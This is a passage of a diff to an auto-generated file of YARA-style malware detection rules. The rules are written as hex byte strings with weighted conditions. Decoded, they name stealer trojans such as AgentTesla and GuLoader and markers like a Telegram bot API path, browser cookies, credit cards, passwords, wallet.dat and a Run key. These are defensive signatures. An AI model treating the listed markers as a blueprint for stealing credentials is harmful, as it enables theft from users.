6c 6c 65 74 2e 64 61 74 01 00 05 80 01 50 61 6e 65 6c 00 00 78 1d 01 00 0b 00 0b 00 0b 00 21 } //24948 - $a_54_7 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4d 32 21 4d 54 42 00 01 00 0b 80 01 49 49 49 49 49 49 49 49 49 49 31 01 00 09 80 01 49 49 49 49 49 49 49 49 32 01 00 0a 80 01 49 49 49 49 49 49 49 49 49 35 01 00 0f 80 01 49 } //18467 - $a_49_8 = {49 49 49 49 49 49 49 49 34 01 00 0c 80 01 49 49 49 49 49 49 49 49 49 49 49 33 01 00 0e 80 01 58 5f 31 32 33 31 32 33 34 35 34 33 36 33 01 00 2c 80 01 54 65 78 74 20 46 69 6c 65 73 20 28 2a 2e 74 78 74 29 7c 2a 2e 74 78 } //18761 - $a_6c_9 = {20 46 69 6c 65 73 20 28 2a 2e 2a 29 7c 2a 2e 2a 01 00 14 80 01 2e 5c 49 6d 61 67 65 73 5c 7b 30 7d 5c 7b 31 7d 2e 70 6e 67 01 00 13 80 01 46 72 6f 6d 42 61 73 65 36 34 43 68 61 72 41 72 72 61 79 } //31860 + $a_64_3 = {69 66 74 73 66 72 65 73 2e 65 6e 76 01 00 1a 81 01 5c 47 65 6e 6e 65 6d 73 69 67 74 69 67 68 65 64 65 6e 73 32 32 30 2e 73 6b 79 01 00 0f 81 01 5c 6d 61 73 6b 69 6e 65 72 6e 65 2e 64 6f 6b 00 00 78 1d 01 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 54 58 21 4d 54 42 00 01 00 18 81 01 } //385 + $a_67_4 = {66 75 6c 64 74 5c 68 6a 65 6d 73 74 61 76 6e 65 6e 65 73 01 00 13 81 01 53 70 65 6a 6c 62 69 6c 6c 65 64 65 72 6e 65 2e 42 65 73 01 00 0d 81 01 5c 41 66 67 69 66 74 73 6c 6f 76 65 73 01 00 11 81 01 4d 61 63 72 6f 67 6e 61 74 68 69 73 6d 2e 4a 65 72 01 00 0e 81 01 41 73 73 65 72 62 6f 31 37 34 2e 6a 70 } //21084 + $a_72_6 = {75 65 66 6c 6c 65 73 73 6b 61 62 65 72 73 2e 69 6e 69 01 00 0c 81 01 6d 75 63 65 64 69 6e 65 2e 62 69 6b 01 00 0c 81 01 74 61 76 65 72 6e 65 6e 2e 6d 61 63 01 00 1f 81 01 5c 41 66 67 69 66 74 73 6c 6f 76 65 73 5c 4d 61 63 72 6f 67 6e 61 74 68 69 73 6d 2e 4a 65 72 01 00 1a 81 01 5c 63 68 61 6e 64 65 6c 6c 65 64 5c 75 6e 64 65 72 73 } //17921 + $a_62_7 = {6c 6e 6b 00 00 78 1d 01 00 0b 00 09 00 0c 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 47 65 6e 73 74 65 61 6c 2e 47 41 21 4d 54 42 00 01 00 20 80 01 62 68 6d 6c 62 67 65 62 6f 6b 61 6d 6c 6a 67 6e 63 65 6f 6e 62 6e 63 64 6f 66 6d 6d 6b 65 64 67 01 00 14 80 01 61 70 69 2e 74 65 6c 65 67 72 61 6d 2e 6f 72 67 2f 62 6f 74 01 00 0b 80 01 6d } //29283 + $a_63_8 = {6f 6b 69 65 73 01 00 0c 80 01 43 72 65 64 69 74 43 61 72 64 73 2e 01 00 0d 80 01 41 75 74 68 65 6e 74 69 63 61 74 6f 72 01 00 1e 80 01 53 45 4c 45 43 54 20 2a 20 46 52 4f 4d 20 41 6e 74 69 76 69 72 75 73 50 72 6f 64 75 63 74 01 00 0a 80 01 50 61 73 73 77 6f 72 64 73 3a 01 00 0a 80 01 } //31343 + $a_65_9 = {6e 73 68 6f 74 01 00 06 80 01 56 4d 77 61 72 65 01 00 18 80 01 42 72 6f 77 73 65 72 20 44 61 74 61 2f 45 78 74 65 6e 73 69 6f 6e 73 2f 01 00 0a 80 01 77 61 6c 6c 65 74 2e 64 61 74 01 00 05 80 01 50 61 6e 65 6c 00 00 78 1d 01 00 0b 00 0b 00 0b 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4d } //25427 condition: - ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*27246+(#a_64_3 & 1)*385+(#a_65_4 & 1)*25196+(#a_45_5 & 1)*384+(#a_45_6 & 1)*24948+(#a_54_7 & 1)*18467+(#a_49_8 & 1)*18761+(#a_6c_9 & 1)*31860) >=10 + ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*27246+(#a_64_3 & 1)*385+(#a_67_4 & 1)*21084+(#a_72_6 & 1)*17921+(#a_62_7 & 1)*29283+(#a_63_8 & 1)*31343+(#a_65_9 & 1)*25427) >=10 } -rule _InfrastructureShared_17005{ +rule _InfrastructureShared_18125{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 54 58 21 4d 54 42 00 01 00 18 81 01 5c 52 65 67 6e 66 75 6c 64 74 5c 68 6a 65 6d 73 74 61 76 6e 65 6e 65 73 01 00 13 81 01 53 70 65 6a 6c 62 69 6c 6c 65 64 65 72 6e 65 2e 42 65 } //18467 + $a_41_2 = {67 69 66 74 73 6c 6f 76 65 73 01 00 11 81 01 4d 61 63 72 6f 67 6e 61 74 68 69 73 6d 2e 4a 65 72 01 00 0e 81 01 41 73 73 65 72 62 6f 31 37 34 2e 6a 70 67 01 00 16 81 01 46 6f 72 6d 75 65 66 6c 6c 65 73 73 6b 61 62 65 72 73 2e 69 6e 69 01 00 0c 81 01 6d 75 63 65 64 69 6e 65 2e } //385 + $a_01_3 = {00 0c 81 01 74 61 76 65 72 6e 65 6e 2e 6d 61 63 01 00 1f 81 01 5c 41 66 67 69 66 74 73 6c 6f 76 65 73 5c 4d 61 63 72 6f 67 6e 61 74 68 69 73 6d 2e 4a 65 72 01 00 1a 81 01 5c 63 68 61 6e 64 65 6c 6c 65 64 5c 75 6e 64 65 72 73 63 72 75 62 2e 6c 6e 6b 00 00 78 1d 01 00 0b 00 09 00 0c 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e } //26978 + $a_49_4 = {2f 47 65 6e 73 74 65 61 6c 2e 47 41 21 4d 54 42 00 01 00 20 80 01 62 68 6d 6c 62 67 65 62 6f 6b 61 6d 6c 6a 67 6e 63 65 6f 6e 62 6e 63 64 6f 66 6d 6d 6b 65 64 67 01 00 14 80 01 61 70 69 2e 74 65 6c 65 67 72 61 6d 2e 6f 72 67 2f 62 6f 74 01 00 0b 80 } //19770 + $a_7a_5 = {63 6f 6f 6b 69 65 73 01 00 0c 80 01 43 72 65 64 69 74 43 61 72 64 73 2e 01 00 0d 80 01 41 75 74 68 65 6e 74 69 63 61 74 6f 72 01 00 1e 80 01 53 45 4c 45 43 54 20 2a 20 46 52 4f 4d 20 41 6e 74 69 76 69 72 75 73 50 72 6f 64 75 63 74 01 00 0a 80 01 50 61 73 73 77 6f 72 64 73 3a 01 00 0a 80 01 53 63 72 65 65 6e 73 68 6f 74 01 00 06 80 } //27905 + $a_77_6 = {72 65 01 00 18 80 01 42 72 6f 77 73 65 72 20 44 61 74 61 2f 45 78 74 65 6e 73 69 6f 6e 73 2f 01 00 0a 80 01 77 61 6c 6c 65 74 2e 64 61 74 01 00 05 80 01 50 61 6e 65 6c 00 00 78 1d 01 00 0b 00 0b 00 0b 00 21 23 48 53 54 52 3a 54 72 } //22017 + $a_6e_7 = {4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4d 32 21 4d 54 42 00 01 00 0b 80 01 49 49 49 49 49 49 49 49 49 49 31 01 00 09 80 01 49 49 49 49 49 49 49 49 32 01 00 0a 80 01 49 49 49 49 49 49 49 49 49 35 01 00 0f 80 01 49 49 49 49 49 49 49 49 49 49 49 49 49 49 34 01 00 0c 80 01 49 49 49 } //27247 + $a_49_8 = {49 49 49 33 01 00 0e 80 01 58 5f 31 32 33 31 32 33 34 35 34 33 36 33 01 00 2c 80 01 54 65 78 74 20 46 69 6c 65 73 20 28 2a 2e 74 78 74 29 7c 2a 2e 74 78 74 7c 41 6c 6c 20 46 69 6c 65 73 20 28 2a 2e 2a 29 7c 2a 2e 2a 01 } //18761 + $a_01_9 = {2e 5c 49 6d 61 67 65 73 5c 7b 30 7d 5c 7b 31 7d 2e 70 6e 67 01 00 13 80 01 46 72 6f 6d 42 61 73 65 36 34 43 68 61 72 41 72 72 61 79 01 00 0b 80 01 54 6f 43 68 61 72 41 72 72 61 79 01 00 13 80 01 49 6e 69 74 69 61 6c 69 7a 65 43 6f 6d 70 6f 6e 65 6e 74 00 00 78 1d 01 00 0f 00 0f 00 06 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 4d 53 49 4c 2f 54 6e 65 } //5120 + condition: + ((#a_54_0 & 1)*18467+(#a_41_2 & 1)*385+(#a_01_3 & 1)*26978+(#a_49_4 & 1)*19770+(#a_7a_5 & 1)*27905+(#a_77_6 & 1)*22017+(#a_6e_7 & 1)*27247+(#a_49_8 & 1)*18761+(#a_01_9 & 1)*5120) >=10 + +} +rule _InfrastructureShared_18126{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 09 00 0c 00 21 " @@ -201783,7 +215330,7 @@ rule _InfrastructureShared_17005{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*25964+(#a_72_2 & 1)*30579+(#a_67_3 & 1)*12108+(#a_49_4 & 1)*18689+(#a_7c_5 & 1)*30836+(#a_52_7 & 1)*21320+(#a_00_9 & 1)*100+(#a_65_11 & 1)*17153) >=9 } -rule _InfrastructureShared_17006{ +rule _InfrastructureShared_18127{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -201802,7 +215349,7 @@ rule _InfrastructureShared_17006{ ((#a_54_0 & 1)*18467+(#a_49_1 & 1)*18761+(#a_6c_2 & 1)*31860+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1+(#a_1d_5 & 1)*0+(#a_00_7 & 1)*84+(#a_73_8 & 1)*25458+(#a_2e_9 & 1)*27763+(#a_00_10 & 1)*101) >=11 } -rule _InfrastructureShared_17007{ +rule _InfrastructureShared_18128{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 06 00 21 " @@ -201816,7 +215363,7 @@ rule _InfrastructureShared_17007{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*47+(#a_73_3 & 1)*25458+(#a_41_4 & 1)*19529+(#a_64_5 & 1)*25389) >=15 } -rule _InfrastructureShared_17008{ +rule _InfrastructureShared_18129{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 07 00 21 " @@ -201832,7 +215379,7 @@ rule _InfrastructureShared_17008{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*263+(#a_00_2 & 1)*112+(#a_00_3 & 1)*17+(#a_65_4 & 1)*24933+(#a_61_5 & 1)*29251+(#a_62_6 & 1)*29813) >=16 } -rule _InfrastructureShared_17009{ +rule _InfrastructureShared_18130{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,11 00 11 00 11 00 21 " @@ -201858,7 +215405,7 @@ rule _InfrastructureShared_17009{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*26478+(#a_74_2 & 1)*26369+(#a_6f_3 & 1)*263+(#a_41_4 & 1)*28517+(#a_6c_5 & 1)*30575+(#a_76_6 & 1)*28483+(#a_72_7 & 1)*14930+(#a_53_8 & 1)*21331+(#a_57_9 & 1)*22359+(#a_00_10 & 1)*26465+(#a_54_11 & 1)*20307+(#a_65_12 & 1)*25902+(#a_46_13 & 1)*16675+(#a_00_14 & 1)*-13243+(#a_d0_15 & 1)*-14592+(#a_4d_16 & 1)*-4019) >=17 } -rule _InfrastructureShared_17010{ +rule _InfrastructureShared_18131{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,13 00 13 00 0a 00 21 " @@ -201877,7 +215424,7 @@ rule _InfrastructureShared_17010{ ((#a_54_0 & 1)*18467+(#a_75_1 & 1)*25167+(#a_6e_2 & 1)*26471+(#a_67_3 & 1)*12108+(#a_53_4 & 1)*21331+(#a_57_5 & 1)*22359+(#a_4d_6 & 1)*29301+(#a_52_7 & 1)*22356+(#a_65_8 & 1)*29541+(#a_64_9 & 1)*28502) >=19 } -rule _InfrastructureShared_17011{ +rule _InfrastructureShared_18132{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1a 00 1a 00 08 00 21 " @@ -201893,7 +215440,7 @@ rule _InfrastructureShared_17011{ ((#a_54_0 & 1)*18467+(#a_53_1 & 1)*21331+(#a_57_2 & 1)*22359+(#a_73_3 & 1)*19822+(#a_57_5 & 1)*17999+(#a_65_6 & 1)*30029+(#a_6e_7 & 1)*22330) >=26 } -rule _InfrastructureShared_17012{ +rule _InfrastructureShared_18133{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,41 06 15 05 0a 00 21 " @@ -201909,7 +215456,7 @@ rule _InfrastructureShared_17012{ ((#a_54_0 & 1)*18467+(#a_46_1 & 1)*21340+(#a_43_2 & 1)*28239+(#a_00_3 & 1)*7544+(#a_41_5 & 1)*8448+(#a_01_6 & 1)*1+(#a_00_7 & 1)*0) >=1301 } -rule _InfrastructureShared_17013{ +rule _InfrastructureShared_18134{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 01 00 21 " @@ -201919,7 +215466,7 @@ rule _InfrastructureShared_17013{ ((#a_46_0 & 1)*16675) >=100 } -rule _InfrastructureShared_17014{ +rule _InfrastructureShared_18135{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -201929,7 +215476,7 @@ rule _InfrastructureShared_17014{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_17015{ +rule _InfrastructureShared_18136{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 07 00 21 " @@ -201945,7 +215492,7 @@ rule _InfrastructureShared_17015{ ((#a_77_0 & 1)*19491+(#a_04_1 & 1)*803+(#a_90_2 & 1)*-28621+(#a_5f_3 & 1)*29281+(#a_fa_4 & 1)*4724+(#a_80_5 & 1)*400+(#a_0c_6 & 1)*257) >=1 } -rule _InfrastructureShared_17016{ +rule _InfrastructureShared_18137{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 07 00 21 " @@ -201960,7 +215507,7 @@ rule _InfrastructureShared_17016{ ((#a_77_0 & 1)*19491+(#a_74_1 & 1)*24420+(#a_1c_2 & 1)*-31745+(#a_90_3 & 1)*-32257+(#a_06_4 & 1)*-28539+(#a_09_6 & 1)*-31473) >=1 } -rule _InfrastructureShared_17017{ +rule _InfrastructureShared_18138{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 08 00 21 " @@ -201977,7 +215524,7 @@ rule _InfrastructureShared_17017{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*-32767+(#a_bd_2 & 1)*6+(#a_00_3 & 1)*144+(#a_75_4 & 1)*3+(#a_09_5 & 1)*-13280+(#a_81_6 & 1)*656+(#a_90_7 & 1)*-28630) >=1 } -rule _InfrastructureShared_17018{ +rule _InfrastructureShared_18139{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 0d 00 21 " @@ -201998,7 +215545,7 @@ rule _InfrastructureShared_17018{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*782+(#a_7d_2 & 1)*5+(#a_81_3 & 1)*656+(#a_90_4 & 1)*400+(#a_02_5 & 1)*1025+(#a_04_6 & 1)*-28437+(#a_c3_7 & 1)*1282+(#a_00_8 & 1)*42+(#a_00_9 & 1)*42+(#a_00_10 & 1)*84+(#a_48_12 & 1)*8448) >=1 } -rule _InfrastructureShared_17019{ +rule _InfrastructureShared_18140{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -202009,7 +215556,7 @@ rule _InfrastructureShared_17019{ ((#a_46_0 & 1)*16675+(#a_02_1 & 1)*1025) >=2 } -rule _InfrastructureShared_17020{ +rule _InfrastructureShared_18141{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -202019,7 +215566,7 @@ rule _InfrastructureShared_17020{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_17021{ +rule _InfrastructureShared_18142{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -202029,7 +215576,7 @@ rule _InfrastructureShared_17021{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_17022{ +rule _InfrastructureShared_18143{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -202042,7 +215589,7 @@ rule _InfrastructureShared_17022{ ((#a_6c_0 & 1)*16675+(#a_73_1 & 1)*21550+(#a_70_2 & 1)*16755+(#a_74_3 & 1)*12032) >=2 } -rule _InfrastructureShared_17023{ +rule _InfrastructureShared_18144{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -202054,7 +215601,7 @@ rule _InfrastructureShared_17023{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*25961+(#a_00_2 & 1)*101) >=3 } -rule _InfrastructureShared_17024{ +rule _InfrastructureShared_18145{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -202065,7 +215612,7 @@ rule _InfrastructureShared_17024{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*99) >=3 } -rule _InfrastructureShared_17025{ +rule _InfrastructureShared_18146{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -202078,7 +215625,7 @@ rule _InfrastructureShared_17025{ ((#a_46_0 & 1)*16675+(#a_37_1 & 1)*14385+(#a_00_3 & 1)*101+(#a_46_4 & 1)*22066) >=3 } -rule _InfrastructureShared_17026{ +rule _InfrastructureShared_18147{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -202090,7 +215637,7 @@ rule _InfrastructureShared_17026{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*45+(#a_30_3 & 1)*11585) >=4 } -rule _InfrastructureShared_17027{ +rule _InfrastructureShared_18148{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -202102,7 +215649,7 @@ rule _InfrastructureShared_17027{ ((#a_46_0 & 1)*16675+(#a_2d_1 & 1)*23085+(#a_00_3 & 1)*83) >=4 } -rule _InfrastructureShared_17028{ +rule _InfrastructureShared_18149{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -202114,7 +215661,7 @@ rule _InfrastructureShared_17028{ ((#a_54_0 & 1)*18467+(#a_01_2 & 1)*-29416+(#a_73_3 & 1)*25458) >=4 } -rule _InfrastructureShared_17029{ +rule _InfrastructureShared_18150{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -202126,7 +215673,7 @@ rule _InfrastructureShared_17029{ ((#a_41_0 & 1)*20515+(#a_00_2 & 1)*112+(#a_00_3 & 1)*101) >=4 } -rule _InfrastructureShared_17030{ +rule _InfrastructureShared_18151{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 0c 00 21 " @@ -202142,7 +215689,7 @@ rule _InfrastructureShared_17030{ ((#a_46_0 & 1)*16675+(#a_61_2 & 1)*385+(#a_01_3 & 1)*30821+(#a_54_6 & 1)*8448+(#a_00_8 & 1)*115+(#a_00_10 & 1)*108+(#a_78_11 & 1)*25964) >=4 } -rule _InfrastructureShared_17031{ +rule _InfrastructureShared_18152{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 04 00 06 00 21 " @@ -202155,7 +215702,7 @@ rule _InfrastructureShared_17031{ ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*32+(#a_65_3 & 1)*25974+(#a_52_5 & 1)*21320) >=4 } -rule _InfrastructureShared_17032{ +rule _InfrastructureShared_18153{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -202168,7 +215715,7 @@ rule _InfrastructureShared_17032{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*111+(#a_00_3 & 1)*114+(#a_6c_4 & 1)*28500) >=5 } -rule _InfrastructureShared_17033{ +rule _InfrastructureShared_18154{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -202181,7 +215728,7 @@ rule _InfrastructureShared_17033{ ((#a_54_0 & 1)*18467+(#a_46_1 & 1)*27756+(#a_73_2 & 1)*28271+(#a_62_4 & 1)*10240) >=5 } -rule _InfrastructureShared_17034{ +rule _InfrastructureShared_18155{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -202194,7 +215741,7 @@ rule _InfrastructureShared_17034{ ((#a_54_0 & 1)*18467+(#a_fe_1 & 1)*-29176+(#a_75_2 & 1)*385+(#a_48_4 & 1)*8448) >=5 } -rule _InfrastructureShared_17035{ +rule _InfrastructureShared_18156{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 05 00 21 " @@ -202208,7 +215755,7 @@ rule _InfrastructureShared_17035{ ((#a_54_0 & 1)*18467+(#a_20_1 & 1)*7686+(#a_e0_2 & 1)*1028+(#a_00_3 & 1)*144+(#a_50_4 & 1)*385) >=6 } -rule _InfrastructureShared_17036{ +rule _InfrastructureShared_18157{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 08 00 21 " @@ -202225,7 +215772,7 @@ rule _InfrastructureShared_17036{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*25183+(#a_32_2 & 1)*8192+(#a_39_3 & 1)*14647+(#a_67_4 & 1)*28773+(#a_61_5 & 1)*29806+(#a_6c_6 & 1)*26625+(#a_6e_7 & 1)*22330) >=6 } -rule _InfrastructureShared_17037{ +rule _InfrastructureShared_18158{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -202241,7 +215788,7 @@ rule _InfrastructureShared_17037{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*27749+(#a_74_2 & 1)*27765+(#a_2f_3 & 1)*13166+(#a_74_4 & 1)*26470+(#a_65_5 & 1)*28534+(#a_48_6 & 1)*8448) >=7 } -rule _InfrastructureShared_17038{ +rule _InfrastructureShared_18159{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 0a 00 21 " @@ -202260,7 +215807,7 @@ rule _InfrastructureShared_17038{ ((#a_54_0 & 1)*18467+(#a_67_1 & 1)*28026+(#a_5f_2 & 1)*26999+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1+(#a_81_8 & 1)*1+(#a_81_9 & 1)*1) >=7 } -rule _InfrastructureShared_17039{ +rule _InfrastructureShared_18160{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -202270,28 +215817,43 @@ rule _InfrastructureShared_17039{ $a_46_2 = {57 41 52 45 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 5c 43 75 72 72 65 6e 74 56 65 72 73 69 6f 6e 5c 52 75 6e 01 00 24 81 01 57 69 6e 64 6f 77 73 20 41 6e 74 69 2d 6d 61 6c 77 61 72 65 20 61 75 74 6f 72 75 6e 20 53 65 72 76 } //21249 $a_00_3 = {00 78 1e 01 00 09 00 09 00 09 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 51 33 34 36 21 4d 54 42 00 01 00 30 81 01 44 69 72 65 63 74 6f 72 79 20 79 6f 75 20 77 61 68 68 68 68 68 68 68 6e 74 20 74 6f 20 64 65 6c 65 74 65 20 69 73 20 6e 6f 74 20 } //25449 $a_73_4 = {01 00 0f 81 01 43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 01 00 05 81 01 53 6c 65 65 70 01 00 13 81 01 54 72 61 6e 73 66 6f 72 6d 46 69 6e 61 6c 42 6c 6f 63 6b 01 00 25 81 01 66 64 73 66 66 66 66 68 68 68 68 68 68 68 68 68 68 68 68 68 68 68 68 68 68 68 68 68 68 68 68 64 66 66 73 64 66 01 00 0e 81 01 61 64 73 73 } //30821 - $a_73_5 = {73 73 73 73 61 01 00 1b 81 01 73 64 64 6b 64 66 66 64 73 68 64 6a 66 66 66 67 6a 68 6b 64 6b 73 67 63 61 66 70 01 00 10 81 01 67 64 66 66 6b 68 6a 73 64 66 64 66 66 68 64 66 01 00 0a 81 01 61 66 66 73 64 68 68 66 68 68 00 00 78 1e 01 00 0a 00 0a 00 06 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 53 70 79 3a 57 69 6e 33 32 2f 4f 75 73 61 62 61 6e 2e } //29555 - $a_00_6 = {24 } //66 $ + $a_73_5 = {73 73 73 73 61 01 00 1b 81 01 73 64 64 6b 64 66 66 64 73 68 64 6a 66 66 66 67 6a 68 6b 64 6b 73 67 63 61 66 70 01 00 10 81 01 67 64 66 66 6b 68 6a 73 64 66 64 66 66 68 64 66 01 00 0a 81 01 61 66 66 73 64 68 68 66 68 68 00 00 78 1e 01 00 0a 00 0a 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4b 72 79 70 74 2e 50 53 53 21 4d 54 } //29555 + $a_00_6 = {43 03 11 10 6f c0 00 } //66 + $a_11_7 = {28 90 01 03 0a 2d 10 08 11 11 28 90 01 03 0a 16 13 1e dd } //2560 condition: - ((#a_54_0 & 1)*18467+(#a_62_1 & 1)*26994+(#a_46_2 & 1)*21249+(#a_00_3 & 1)*25449+(#a_73_4 & 1)*30821+(#a_73_5 & 1)*29555+(#a_00_6 & 1)*66) >=8 + ((#a_54_0 & 1)*18467+(#a_62_1 & 1)*26994+(#a_46_2 & 1)*21249+(#a_00_3 & 1)*25449+(#a_73_4 & 1)*30821+(#a_73_5 & 1)*29555+(#a_00_6 & 1)*66+(#a_11_7 & 1)*2560) >=8 } -rule _InfrastructureShared_17040{ +rule _InfrastructureShared_18161{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 51 33 34 36 21 4d 54 42 00 01 00 30 81 01 44 69 72 65 63 74 6f 72 79 20 79 6f 75 20 77 61 68 68 68 68 68 68 68 6e 74 20 74 6f 20 64 65 6c 65 74 65 20 69 73 20 6e 6f 74 } //18467 $a_69_1 = {74 01 00 0f 81 01 43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 01 00 05 81 01 53 6c 65 65 70 01 00 13 81 01 54 72 61 6e 73 66 6f 72 6d 46 69 6e 61 6c 42 6c 6f 63 6b 01 00 25 81 01 66 64 73 66 66 66 66 68 68 68 68 68 68 68 68 68 68 68 68 68 68 68 68 68 68 68 68 68 68 68 68 64 66 66 73 64 66 01 00 0e 81 01 61 64 73 73 73 73 73 73 73 73 73 73 73 61 01 00 1b 81 } //25888 - $a_64_2 = {64 66 66 64 73 68 64 6a 66 66 66 67 6a 68 6b 64 6b 73 67 63 61 66 70 01 00 10 81 01 67 64 66 66 6b 68 6a 73 64 66 64 66 66 68 64 66 01 00 0a 81 01 61 66 66 73 64 68 68 66 68 68 00 00 78 1e 01 00 0a 00 0a 00 06 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 53 70 79 3a 57 69 6e 33 32 2f 4f 75 73 61 62 61 6e } //29441 - $a_43_4 = {6f } //9216 o - $a_00_6 = {6c 00 6c 00 2e 00 4e 00 65 00 74 00 20 00 4d 00 75 00 74 00 65 00 79 00 01 00 58 01 77 00 69 00 6e 00 5f 00 73 00 70 00 61 00 72 00 6b 00 6c 00 65 00 5f 00 63 00 68 00 65 00 63 00 6b 00 5f 00 75 00 70 00 64 00 61 00 74 00 65 00 5f 00 77 00 69 00 74 00 68 00 5f 00 75 00 69 00 5f 00 61 00 6e } //67 - $a_00_8 = {73 00 74 00 61 00 6c 00 6c 00 03 00 1a 03 8b 45 08 8b f8 66 81 3f 4d 5a 90 01 02 68 c1 00 00 00 e8 90 01 